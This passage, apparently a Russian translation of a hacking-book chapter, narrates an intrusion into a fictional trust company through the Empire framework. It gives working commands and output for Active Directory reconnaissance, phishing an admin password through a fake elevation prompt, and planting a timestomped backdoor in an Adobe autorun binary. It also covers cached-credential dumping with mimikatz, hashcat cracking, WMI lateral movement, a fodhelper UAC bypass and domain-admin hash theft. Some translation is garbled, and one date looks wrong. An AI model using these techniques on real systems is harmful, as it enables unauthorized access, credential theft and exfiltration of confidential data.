Все маячковые проблески систем выглядят машинами с Windows 10. Ужасные воспоминания остаются на всю жизнь, поэтому мы начинаем свою разведку с целевых команд определения того включены ли MDE и ATA. Сначала при помощи команды tasklist мы ищем MDE для проверки наличия какого- нибудь процесса MsSense.exe:

(Empire) > interact 7S92RXMZ
(Empire: 7S92RXMZ) > shell tasklist /v | findstr /I sense

Command execution completed.
		

Здесь нечего не видно.

Затем проверяем наличие ATA при помощи поиска любой доменной группы с названием "Microsoft Advanced Threat Analytics Administrators", воспользовавшись модулем get_group из PowerView:

(Empire: 7S92RXMZ) > use powershell/situational_awareness/network/powerview/get_group
(Empire: get_group) > set LDAPFilter "(description=*Threat*)"
(Empire: get_group) > run
Job started: G1TBWF

Get-DomainGroup completed!
		

Потрясающе! Наш вывод не даёт никаких намёков ни на MDE, ни на ATA ни в одной из наших машин!

Затем мы внимательно рассмотрим запущенные в этих восьми машинах процессы и выявим, что они работают под управлением Symantec Endpoint Protection версии 12.1, которая не поддерживает AMSI:

Empire: 7S92RXMZ) > shell wmic process getexecutablepath
--snip--
C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\ 12.1.7369.6900\Bin\smcgui.exe
--snip--
		

Это означает, что AMSI мы также можем вычеркнуть из своего списка! Мы запрашиваем ключи реестра ScriptBlock Logging и дублирования SystemWide дабы узнать включены ли они:

(Empire: 7S92RXMZ) > shell reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

ERROR: The system was unable to find the specified registry key or value.

(Empire: 7S92RXMZ) > shell reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription

ERROR: The system was unable to find the specified registry key or value.
		

Оценка: мы обнаруживаем их отключёнными! Напомним, что у нас имеется доступ к восьми компьютерам Windows 10, в которых отсутствуют некоторые из наиболее важных функциональных возможностей безопасности для этой последней версии. Мальчик, это будет больно!

Теперь мы можем без опаски нажимать на кнопки слегка сильнее и выполнять более обширную разведку Active Directory.

Мы начнём с перечисления доменных групп, пользователей, компьютеров, совместных сетевых ресурсов и organizational units (OU, подразделений). OU представляют собой логическую группу пользователей и компьютеров с общими настройками внутри домена. Встроенный в Empire PowerView удобно представляет модуль для каждой из этих задач, поэтому достаточно при помощи команды usemodule загрузить каждый из этих модулей и исполнить их, как это показано в Листинге 13.2.

(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_group
(Empire: get_group) > run

(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_user
(Empire: get_user) > run

(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_computer
(Empire: get_computer) > run

(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/share_finder
(Empire: share_finder) > run

(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_ou
(Empire: get_ou) > run
	   

Empire удерживает дубликаты всех команд, выводов и файлов выгруженными в папке Empire/downloads/<agent_name> folder. Полученные результаты всех наших предыдущих команд сохранятся в файле agent.log внутри такой папки (в данном случае, 7S92RXMZ).

Мы тщательно просматриваем списки доменных групп и пользователей, но в качестве полезного ничто не выделяется. Мы не можем обнаружить ничего похожего на группу наблюдения за безопасностью или какую- либо общую группу безопасности, если уж на то пошло. Мы находим обычные технические учётные записи с такими названиями как backup, activesync, build master и тому подобными, но ни одна из них не принадлежит к какому бы то ни было продукту безопасности и не применяется им.

Принимая во внимание размер компании, это не удивительно. G&S Trust не намерена подписываться на услугу SOC для покрытия своих 5 файловых серверов, 20 рабочих станций и 1 сервера Exchange, не говоря уж о развёртывании тяжёлого снаряжения, которое должно обслуживаться целой командой ИТ поддержки.

Все компьютеры и пользователи по всем офисам G&S Trust по всему миру выглядят относящимися к одному и тому же домену Active Directory, gstrust.corp:

root@C2Server:~# cd Empire/downloads/7S92RXMZ
root@C2Server:~# grep "DC=" agent.log
...DC=gstrust,DC=corp,
...DC=gstrust,DC=corp,
...DC=gstrust,DC=corp,
--snip--
		

Этот домен управляется четырьмя глобальными администраторами домена. Мы можем выполнить выборку всех имён этих четырёх администраторов из журнала вывода команд через поиск строки "Domain Admins":

root@C2Server:7S92RXMZ/# grep -A10 "CN=Domain Admins" agent.log

name                   : Domain Admins
member                 :
CN=admin.ceasar  ,CN=Users,DC=gstrust,DC=corp,
CN=admin.han     ,CN=Users,DC=gstrust,DC=corp,
CN=admin.gloria  ,CN=Users,DC=gstrust,DC=corp,
CN=admin.taylor  ,CN=Users,DC=gstrust,DC=corp
		

Обратите внимание на формат admin.firstname для всех этих учётных записей - кажется, что G&S Trust следует хорошо известной практике отделения учётных записей администраторов от учётных записей пользователей. Можно только догадываться, распространяется ли такое разделение на применяемые пароли и рабочие станции. В будущем мы изучим эту догадку.

Домен компании разбит на несколько подразделений, причём в каждом из них размещаются пользователи и машины из различных географических офисов. Здесь мы получаем перечень OU:

root@C2Server:~# grep -A1 "CN=Organizational-Unit" agent.log

objectcategory        : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=gstrust,DC=corp
ou : HongKong

--
objectcategory        : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=gstrust,DC=corp
ou : Malta
--snip--
		

Аналогичным образом бизнес группы выглядят разбитыми на разделы по регионам:

root@C2Server:~# grep -A1 "GROUP_OBJECT" agent.log

samaccounttype        : GROUP_OBJECT
samaccountname        : SGAcctDrive
--
samaccounttype        : GROUP_OBJECT
samaccountname        : CSLegalDrive
--
samaccounttype        : GROUP_OBJECT
samaccountname        : VIP
--snip--
		

Такое подробное разбиение намекает на жёсткий контроль доступа, применяемый к объектам Active Directory, таким как совместные сетевые ресурсы, скорее всего, в попытке изолировать фиктивные компании одного региона от прочих офисов. Мы можем столкнуться с некоторыми трудностями при переключении между учётными записями и машинами в разных регионах. Конечно, ещё рано обсуждать это, но мы уже можем себе представить как они поделили свою архитектуру.

Все полученные нами до сих пор проблесковые сигналы исходили от бухгалтерских отделов различных региональных офисов, что не лишено смысла, поскольку мы внедрили свой потайной ход в код Strat Accounting. Это означает, что теоретически, у нас уже имеется доступ ко всем бухгалтерским сведениям, размещённым в G&S Trust. Например, чтобы ориентироваться на зарегистрированные а Гонконге компании, нам просто требуется найти правильного бухгалтера, принадлежащего к нужному подразделению (OU). Согласно полученным нами на данный момент сведениям, Юи- бухгалтер гонконгского подразделения, так что она наша непосредственная цель.

Поскольку в данной ситуации мы не имеем дело с подкованными в ИТ пользователями, нам, скорее всего, не понадобятся причудливые трюки и обходные пути для поиска данных на машине Юи. Свет должен простой взгляд в её личную папку:

(Empire: 7S92RXMZ) > cd c:\users\yui
Path
----
C:\users\yui\documents

(Empire: 7S92RXMZ) > dir
LastWriteTime         length Name
-------------         ------ ----
--snip--
3/11/2021 2:18:25 PM         Desktop
3/8/2022 5:41:47 PM          Documents
1/20/2022 10:32:49 PM        Downloads
1/20/2022 10:32:49 PM        Taxes_2021
1/20/2022 10:32:50 PM        Accounting_2021
--snip--
		

Мы замечаем две занимательные папки: Taxes_2021 и Accounting_2021. Давайте заглянем и в них:

(Empire: 7S92RXMZ) > cd Accounting_2021; dir
LastWriteTime         length Name
-------------         ------ ----
--snip--
3/11/2021 2:18:25 PM         Hielo Corp.
3/8/2022 5:41:47 PM          Ayomi Inc.
1/20/2022 10:32:49 PM        Great Fund Yoa Corp.
--snip--
		

Для выборки сведений из этих двух папок, которые содержат возвраты налогов, затраты, квитанции на путешествия и прочие сведения о счетах, относящихся к 150 зарегистрированным в G&S Trust Гонконга с датами в прошедшем 2021 году компаний, мы воспользуемся командой download Empire. Недурно, но мы можем быть ещё лучше.

По датам в папках видно, что Юи хранит только локальные копии своих самых последних проектов; остальные файлы должны находиться в общем сервере где-нибудь в офисе в Гонконге. Посмотрим, сможем ли мы найти эту часть. Мы перечисляем все установленные в настоящее время на рабочей станции Юи общие ресурсы, вызвав команду net use:

(Empire: 7S92RXMZ) > shell net use

Status  Local Remote                   Network
-----------------------------------------------------------
OK      F:    \\GS-HK-01\HKAccounting$ Microsoft Windows Network
OK      G:    \\GS-HK-01\YuiHome$      Microsoft Windows Network
OK      W:    \\GS-HK-01\Common$       Microsoft Windows Network

(Empire: 7S92RXMZ) > dir F:\
LastWriteTime         length Name
-------------         ------ ----
--snip--
3/11/2020 2:18:25 PM         2020
1/2/2019 5:41:47 PM          2019
1/12/2018 10:32:49 PM        2018
--snip--
1/10/2006 10:32:49 PM        2005
		

Нам удалось! Теперь у нас имеется доступ к бухгалтерским сведениям, начиная с 2005 года! Это гораздо интереснее. Мы воспользуемся таким же подходом для поиска бухгалтерской информации, относящейся к четырём другим местам: Кипру, Мальте, Сейшельским островам и Сингапуру.

Рисунок 13.1 отображает часть сведений, которые нам удалось собрать. Бухгалтерские данные дают нам много информации о различных подставных компаниях: чистый доход, источники доходов, виды расходов, количество сотрудников, операции, зарплаты и тому подобное. Всё это может нам помочь в разоблачении некоторых крупных корпораций, вовлечённых в теневые схемы уклонения от уплаты налогов при помощи G&S Trust.

 

Рисунок 13.1

Сведения о данных счетов

Хотя, несомненно, эти сведения представляют интерес, потребуется несколько месяцев, чтобы проанализировать их до такой степени, чтобы мы смогли точно определить схемы хищения и прочие теневые сделки. Более того, нам по- прежнему не хватает некоторых важных элементов, скажем, кто на самом деле стоит за этими корпорациями, а также личности конечных бенефициаров, скрывающих людей, стоящих за управляющими данными корпорациями номинальными лицами. Это является самым основным секретом, который тщательно хранится в G&S Trust. Пока мы отложим эти учётные данные в сторону и продолжим поиск потенциальных хабов данных.

Мы перечисляем все совместные ресурсы в своей сетевой среде при помощи модуля share_finder Empire. Когда мы сможем получить доступ к общим ресурсам для юридического отдела, мы сможем обнаружить, что они где- то хранят идентификаторы и общие сертификаты:

(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/share_finder
(Empire: share_finder) > run
Name             Type Remark          ComputerName
----             ---- ------          ------------
ExCom       114748390                 GS-ML-01.gstrust.corp
HR          109127512                 GS-ML-02.gstrust.corp
Legal        81051094                 GS-ML-02.gstrust.corp
Accounting  252081194                 GS-SC-01.gstrust.corp
Portfolio   612081294                 GS-HK-01.gstrust.corp
NETLOGON     81190512 Logon serv...   GS-ML-01.gstrust.corp
SYSVOL       81190512 Logon serv...   GS-ML-01.gstrust.corp
--snip--
		

Мы наблюдаем совместные ресурсы, но для учётной записи Юи запрещён доступ к большинству папок, включая Legal, HR и ExCom. Она обладает доступом лишь к папке Accounting в локальном сервере Гонконга. Строгая секретность, необходимая бизнесу G&S Trust, по крайней мере, вынудила их ввести строгие правила доступа для противодействия очевидным утечкам данных. Справедливо. Требуется некоторое повышение привилегий.

Empire помечает сеансы администратора небольшой звёздочкой (*) за которой следует имя пользователя. Мы можем наблюдать, что Юи не имеет такой звёздочки:

(Empire: agents) > list
Name        Internal IP    Machine Name    Username
9USWTPY4    192.168.1.24   WL0089          GSTRUST\yui
--snip--
		

Мы просматриваем восемь различных интерактивных сеансов, к которым у нас в настоящее время имеется доступ, однако ни один из них не обладает привилегиями локального администратора, не говоря уж о привилегиях администратора домена. Чтобы отыскать пользователей, как минимум, с привилегиями локального администратора на своих рабочих станциях, мы ищем пользователей с атрибутом admincount больше нуля. У нас уже есть сведения о результатах выполнения команды get_user на этапе разведки:

root@C2Server:7S92RXMZ/# grep -E -B2 "admincount \s+: 1" agent.log
--snip--
samaccountname                : admin.georges
admincount                    : 181
--
samaccountname                : Administrator
logonhours                    : {255, 255, 255, 255...}
admincount                    : 1091
--
objectsid                     : S-1-5-21-2894670206-2000249805-1028998937-1002
samaccountname                : admin.sarah
admincount                    : 191
--
--snip--
		

Мы можем наблюдать, что почти все учётные записи администраторов следуют одному и тому же соглашению имён: admin.username. А если вы внимательно следили, то заметили, что одного из пользователей, которого мы идентифицировали ранее, звали Сара (бухгалтер в офисе на Кипре). Спорим, что она это admin.sarah?

В настоящее время у нас имеется запущенная оболочка Empire в компьютере Сары. Скорее всего, она пользуется тем же самым паролем для своей стандартной учётной записи администратора, но, поскольку мы этого тоже не знаем, мы попали в ловушку парадокса курицы и яйца: мы сможем получить стандартный пароль пользователя Сары при помощи Mimikatz, но для этого нам требуются права администратора, которые мы не можем получить без пароля Сары.

Точно так же, как Дарвин раз и навсегда разрешил спор о курице и яйце, мы тоже сможем найти выход из своей нынешней ловушки. Существует несколько вариантов: мы модем запустить простой keylogger и ждать пока Сара не задумываясь, наберёт свой пароль, или же мы можем просмотреть её личные файлы в надежде, что она записала его в неком текстовом файле, потому как боялась, что забудет его, или же мы можем просто вежливо спросить её.

Empire содержит занятный модуль с названием privesc/ask, который пытается запускать процесс в режиме администратора. Это приводит к знакомому диалогу Windows, запрашивающему повышения полномочий для выполнения такого нового процесса. Спешащие вернуться к своему видео на YouTube или к новостям в Facebook люди, зачастую вежливо подчиняются, вводя свои пароли без лишних вопросов. Давайте посмотрим, сможем ли мы заманить Сару в ловушку при помощи такого диалога. Мы получаем идентификатор агента из нашего списка заражённых машин:

(Empire: agents) > list

Name        Internal IP     Machine Name    Username
672S4HKR    192.168.0.55    WV0012          GSTRUST\sarah
--snip--
		

Затем мы прыгаем в свой потайной ход 672S4HKR, в настоящее время запущенный в её машине и выполняем модуль privesc/ask:

(Empire:) > interact 672S4HKR
(Empire: 672S4HKR) > usemodule privesc/ask
(Empire: ask) > set Listener https_1
(Empire: ask) > run
Job started: XS8A57

[*] Successfully elevated!
[+] Initial agent REH4UX5P from 31.153.12.34 now active (Slack)
		

Бугага! Empire автоматически перехватил этот пароль и создал новый сеанс администратора, который выполняет вызов домой. Теперь у нас имеется новый доступный в компьютере Сары агент, обладающий гораздо более высокими полномочиями:

(Empire: ask) > agents
Name        Internal IP     Machine Name     Username
REH4UX5P    192.168.0.55    WV0012           *GSTRUST\admin.sarah
672S4HKR    192.168.0.55    WV0012           GSTRUST\sarah
--snip--
		

Обратите внимание на соседствующую с именем пользователя Сары звёздочку, указывающую на сеанс с повышенными правами. Мы обладаем полным контролем над её компьютером. Сейчас мы побеседуем!

Прежде чем двигаться далее, давайте на секунду задумаемся над своим постоянством. С технической точки зрения, наличие восьми оболочек по всему миру можно считать слабым видом удержания. Однако теперь, когда у нас имеются права администратора на компьютере Сары, мы могли бы разработать более безопасную форму постоянства; а именно ту, которая способна перенести перезагрузку и сохранить наши права администратора в этом ящике вне зависимости от того что происходит с сетевым подключением.

Существует множество способов улучшения сохраняемости, от регистрации событий WMI до создания служб и разделов реестра автозапуска. Программа автозапуска Марка Руссиновича, вероятно, содержит наиболее полный список мест для запуска некой программы во время запуска. Мы могли бы ниспровергнуть это знание, чтобы обнаружить самый незаметный и самый нетрадиционный способ сокрытия нашей постоянно присутствующей полезной нагрузки.

Однако в нашей конкретной ситуации, поскольку мы сталкиваемся со столь незначительным сопротивлением, нет необходимости чрезмерного усложнения нашей стратегии постоянства. Мы просто внедрим удачно размещённый и, казалось бы безобидный исполняемый файл. В последнее время создаётся впечатление, что всякая установленная в машине Windows программа поставляется с бесполезным исполняемым файлом, который запускается совместно со стартом машины, а Adobe в наши дни лидирует в размещении автоматического обновления во всех машинах, в которых работают их приложения. Мы можем воспользоваться этой неприятностью, заменив существующий исполняемый файл нашим собственным потайным ходом: небольшой программой проверки работоспособности C#, которой мы пользовались в Главе 12 и которая загружает и запускает агента Empire.

Хотя и существует множество разделов реестра, позволяющих стартовать программы во время запуска, большинство поставщиков программного обеспечения выбирают классический ключ Run. Мы запрашиваем такой ключ Run при помощи своей команды shell reg query:

Empire: REH4UX5P) > shell reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"

AdobeGCInvoker-1.0    REG_SZ    "C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGCInvokerUtility.exe" 

LENOVO.TPKREAS        REG_SZ    "C:\Program Files\Lenovo\Communications Utility\TPKNRRES.exe"

AdobeAAMUpdater-1.0   REG_SZ    "C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe"
		

Это даёт нам в качестве цели кучу исполняемых файлов - достаточно рыбы в мелкой воде. Мы принимаем решение перекрыть AGCInvokerUtility.exe на наш потайной ход health-check. Мы переименовываем его, чтобы он носил то же название:

root@FrontLine:~/$ cp health-check AGCInvokerUtility
		

затем переключаемся на приглашение ввода Empire и выгружаем его:

Empire: REH4UX5P) > cd "C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGCInvokerUtility"

Empire: REH4UX5P) > upload AGCInvokerUtility.exe
		

Чтобы превратить свой исполняемый файл кукушки в более гармоничный, мы изменим времена его модификации, доступа и создания (MAC, modification, access и creation), на времена, показанные первоначальным исполняемым файлом. Получаем атрибуты MAC старого двоичного файла:

Empire: REH4UX5P) > Get-Item AGCInvokerUtility_old.exe | select creationtime, lastaccesstime,
lastwritetime
CreationTime        LastAccessTime     LastWriteTime
------------        --------------     -------------
02/12/2013 12:31    02/12/2013 12:31   02/12/2013 12:31
		

и устанавливаем эти значения дат для своего нового двоичного файла:

Empire: REH4UX5P) > powershell $(get-item AGCInvokerUtility.exe).creationtime=$(get-date '02/12/2013 12:31')

Empire: REH4UX5P) > powershell $(get-item AGCInvokerUtility.exe).lastaccesstime=$(get-date '02/12/2013 12:31')

Empire: REH4UX5P) > powershell $(get-item AGCInvokerUtility.exe).lastwritetime=$(get-date '02/12/2013 12:31')
		

Даже когда Сара выключит свой компьютер на выходные или повторно установит Strat Accounting по какой бы то ни было причине, этот новый потайной ход обеспечит нас обратным доступом к её машине, в которой мы запросто снова сможем получить доступ с правами администратора.

Теперь, когда у нас имеется надёжная схема удержания администратора, давайте вернёмся назад к делам.

Воспользовавшись учётной записью администратора Сары мы попытаемся подключиться к серверам G&S Trust во всех пяти регионах. Тем не менее, кажется, что ей полномочия ограничены лишь её рабочей станцией, что должно быть ожидаемым для владельца обычной учётной записи, которому, скорее всего, просто требуются временные права администратора для применения или установки определённых инструментов. Нет причин для беспокойства - в нашем колчане ещё полно стрел.

Мы перематываем обратно и задумываемся о том, как работают системы Windows. Нам известно, что Windows обладает тенденцией хранить удивительное число паролей, разбросанных по всем четырём сторонам света операционной системы. Большинство хакеров знакомы с базой данных Security Account Manager, в которой хранятся хэши паролей локальных учётных записей, а также с процессом LSASS, в котором хранятся хэши или пароли недавно подключённых пользователей. Однако менее известны сейф (vault) Windows и улье SECURITY.

Такой Windows vault применяется сторонними приложениями, такими как Internet Explorer, Outlook и Wi-Fi для хранения полномочий пользователя зашифрованным и безопасным способом. Такой сейф может быть интересен в некоторых особых вариантах применения, когда основная цель состоит в жатве данных с какого- то приложения, но он мало чем полезен нам при получении доступа к прочим серверам.

SECURITY hive (улей БЕЗОПАСНОСТИ), с другой стороны, намного более интересная цель. Улей (hive) в Windows (или, чтобы быть более точным, registry hive) это логическая группа ключей реестра имеющая в основе некий файл на диске. Улей SECURITY, таким образом это некий физический файл на диске, соответствующий ключу реестра HKLM\SECURITY. Для того чтобы разрешить регистрацию пользователя в системе при лежащей сетевой среде, имеющийся подчинённый ключ HKLM\SECURITY\Cache хранит локальную копию тех полномочий, которые в последний раз вводились в этой машине.

Мы можем проверить максимальное число кэшированных полномочий, хранящихся в данной машине следующим образом:

Empire: REH4UX5P) > shell reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CachedLogonsCount

CachedLogonsCount    REG_SZ    10
		

Это означает, что если некий администратор ИТ поддержки был одним из последних 10 людей, подключавшихся к компьютеру Сары, его хешированный пароль всё ещё пребывает в улье SECURITY.

Однако сам пароль не хранится в открытом виде в этом компьютере. Он хэшируется при помощи RC4, добавляется соль с именем пользователя, а затем передаётся функция PBKDF2 для создания второго хэша. Затем этот хэш шифруется при помощи ключа, найденного в улье SYSTEM, а результат сохраняется в ключе реестра HKLM\SECURITY\Cache. К счастью, несколько глав назад мы построили мощную установку для взлома, так что у нас имеется идеальное оружие чтобы взломать эту систему хэширования и получить пароль в открытом виде.

Извлечь значение хэша из ключа реестра Cache способен целый ряд инструментов от Mimikatz до secretsdump.py SecureAuthCorp (части проекта Impacket). Во враждебной среде со строгими мерами обнаружения мы, скорее всего, сделаем дамп улья SECURITY применив обычные инструменты Windows, а затем загрузим его в свой сервер C2 чтобы извлечь кэшированные учётные данные а автономном режиме при помощи одного из таких инструментов. Но поскольку, как нам кажется, мы пребываем в гораздо менее ограниченной среде, давайте просто загрузим Mimikatz через своего агента Empire и сразу же вызовем команду lsadump::cache:

 Empire: REH4UX5P) > usemodule credentials/mimikatz/lsadump
 Empire: lsadump) > run
 mimikatz(powershell) # lsadump::cache
 Domain : GSTRUST / S-1-5-21-1888508460-581619696-3689331320
 SysKey: ea0fad2f73ad366ef5c9b1370d241657
* Iteration is set to default (10240)

 [NL$1 - 02/03/2014 21:33:05]
 RID       : 000003e8 (1000)
User     : GSTRUST\admin.joey
 MsCacheV2 : 6C2459549C56B5B0E8AA702419641366
		

Отлично! Мы подготовили этот вывод под hashcat добавив значение имени пользователя² и число отображаемых Mimikatz витков PBKDF2¹, а затем сохраняем это в файле с названием hash.txt:

C:\> type hash.txt
admin.joey $DCC2$10240#admin.joey#6C2459549C56B5B0E8AA702419641366
		

Затем мы запускаем hashcat, пользуясь своим бесценным списком слов на нашей дорогой установке для взлома и позволяем ей работать несколько часов.

C:\> .\hashcat64.exe -m2100 hash.txt complete_wordlist.txt -r custom_rule.txt

Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
--snip--
  admin.joey $DCC2$...: Ronan1987
Candidates.#1....: burnout -> Ronan1987
		

Бинго! Мы получили уч1тные данные для второго аккаунта. Теперь возникает вопрос на миллион долларов: обладает ли этот admin.joey повышенными полномочиями над каким- нибудь из серверов? Проверяем сведения о Джои в своём agent.log:

root@C2Server:7S92RXMZ/# grep -A1 -I "givenname : admin.joey" agent.log
givenname             : admin.joey
memberof              : CN=GS Server Maintenance,CN=Users,...
--
givenname             : admin.joey
memberof              : CN=Users,DC=gstrust,DC=corp
		

Мы видим, что эта учётная запись входит в группу GS Server Maintenance, поэтому она должна иметь, как минимум, права администратора в одном или в двух серверах. Самый быстрый способ узнать наверняка - запустить нового агента Empire и проверить такую учётную запись на себе. Чтобы повысить наши шансы, мы выбрали серверы, расположенные в том же регионе, что и Джоуи, и Сара, Кипр:

root@C2Server:~# grep -B3 "OU=Cyprus" agent.log

--snip--
distinguishedname             : CN=GS-CS-01,OU=Cyprus,DC=GSTRUST,DC=CORP
operatingsystem               : Windows Server 2019 Standard
--snip--
		

Мы передаём полномочия admin.joey в модуль invoke_wmi и назначаем целью сервер GS-CS-01:

(Empire: REH4UX5P) > creds add GSTRUST admin.joey Ronan1987
Credentials:
  CredID  CredType   Domain   UserName    Password
  ------  --------   ------   --------    --------
  1       plaintext  GSTRUST  admin.joey  Ronan1987

(Empire: REH4UX5P) > usemodule lateral_movement/invoke_wmi
(Empire: invoke_wmi) > set Listener https_1
(Empire: invoke_wmi) > set CredID 1
(Empire: invoke_wmi) > set ComputerName GS-CS-01.GSTRUST.CORP
(Empire: invoke_wmi) > run

[+] Initial agent EM57KLGF from 31.153.12.34 now active
		

Как и ожидалось, мы получили новую оболочку из сервера GS-CS-01. Ура, это наш первый сервер, которым мы овладели в сетевой среде G&S Trust!

admin.joey и в самом деле обладает правами администратора в этом компьютере и, скорее всего, на всех прочих серверах, поскольку глобальная группа обслуживания GS Server Maintenance, судя по всему, является частью локальных administrators этого сервера (если это верно для данного сервера, то же может быть верным и для прочих):

(Empire: invoke_wmi) > interact EM57KLGF
Empire: EM57KLGF) > shell net localgroup administrators

Members
------------------------------------------------------
Administrator
GSTRUST\Domain admins
GSTRUST\GS Server Maintenance
		

Занятно отметить, что разделение на регионы, столь строго применяемое для доступа с бизнес- типом, не воспроизводится для доступа ИТ администратора. Опять же, эта компания, вероятно, не видит необходимости в локальной ИТ команде в каждом офисе. Тем не менее, у нас пока нет полной ясности.

Если мы продолжим и выполним mimikatz в этой новой оболочке, мы получим восхитительное сообщение ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005), которое, в целом, говорит: "У вас недостаточно полномочий". Да, да, admin.joey и в самом деле является администратором в этом сервере, однако его сеанс Empire в настоящее время не использует полные права администратора. Он работает стандартном пользовательском режиме. Чтобы заменить этот контекст с низким уровнем привилегий на контекст администратора, нам необходимо одобрить приглашение на ввод, отображаемый в графическом интерфейсе, к которому у нас нет доступа, а потому, очевидно, мы не можем выполнить это в настоящий момент времени. Такое приглашение носит название Контроля учётных данных (UAC, User Account Control) и нам требуется его обойти.

Однако имеется луч надежды: подписанные Microsoft доверенные исполняемые файлы, к тому же запускаемые из известных мест, скажем, C:\windows\system32, не являются предметом для UAC. Такие доверенные исполняемые файлы способны автоматически запрашивать токен высоких полномочий и изменять свою систему любым удобным для них способом. Оказывается, некоторые из таких доверенных исполняемых файлов будут принимать и оперативно исполнять произвольный код, а потому нам просто требуется подготовить верную полезную нагрузку и сообщать им о необходимости её исполнения для нас, причём минуя UAC.

Одним из таких свободных от UAC исполняемых файлов выступает fodhelper.exe, как это было обнаружено немецким хакером @winscripting в его блоге. В далёком 2007 он выявил, что в процессе исполнения fodhelper.exe для исполняемого хранящегося в нём файла он просматривает ключ реестра HKCU\Software\Classes\ms-settings\shell\open\command. Обратите внимание на тот факт, что этот ключ реестра расположен в HKCU, что является сокращением для HKEY_CURRENT_USER; это именно то место, в которое мы имеем возможность выполнять запись без полномочий администратора. Итак, подведём итог: при помощи своего стандартного пользовательского токена мы запишем свою команду в раздел реестра HKCU\Software\Classes\ms-settings\shell\open\command, который будет запускаться не подлежащим UAC доверенным исполняемым файлом fodhelper.exe, что приводит к полному обходу установленной функциональной возможности безопасности.

Мы можем либо самостоятельно создавать такие ключи реестра, либо просто полагаться на модуль privesc/bypassuac_fodhelper Empire для достижения того же самого результата. Мы голосуем за последнее:

Empire: EM57KLGF) > usemodule privesc/bypassuac_fodhelper
Empire: bypassuac) > run

[+] Initial agent NFRSE1T2 from 31.153.30.98 now active (Slack)

Empire: bypassuac) > interact NFRSE1T2
Empire: NFRSE1T2) > info

username                GSTRUST\admin.joey
high_integrity          1
--snip--
		

Отлично, мы получили нового агента с установленным в 1 high_integrity, что означает, что он обладает полномочиями администратора.

Теперь, когда у нас в необходимом сервере имеется целиком административная оболочка, давайте запустим своего возлюбленного Mimikatz для вывода дампа всех хранящихся в настоящее время в памяти полномочий:

Empire: NFRSE1T2) > mimikatz
--snip--
        msv :
         [00000003] Primary
         * Username : admin.gloria
         * Domain   : GSTRUST
         * NTLM     : 8FC3C28E0D042760C4CD4B64A5A4C2ED
         * SHA1     : 965880f68df8481d857217139865f36324f78bf7
--snip--
		

Мы выполнили выборку полномочий для новой учётной записи admin.gloria, а при дальнейшем осмотре мы обнаруживаем, что по воле случая данная учётная запись относится е группе Domain Admins:

root@C2Server:~# cd Empire/downloads/7S92RXMZ
root@C2Server:~# grep -A1 -I "admin.gloria"
givenname             : admin.gloria
memberof              : CN=Domain Admins,CN=Users,DC=gs...
		

На этот раз мы чуть не прокричали "Победа!", но мы уже знали, что когда получили свою самую первую оболочку, это будет всего лишь вопрос времени перед тем как G&S Trust рухнет. Нишевые компании редко задумываются о чём- то ином кроме своих дел и перспектив роста, а потому как только мы оказываемся внутри, игра для них практически завершается. Как уже обсуждалось ранее, кто будет платить целиком выделенной команде для мониторинга нескольких серверов и 20 рабочих станций?

В любом случае, теперь, когда официальная часть "взлома" завершена, мы наконец можем сосредоточиться на самом важном: на данных.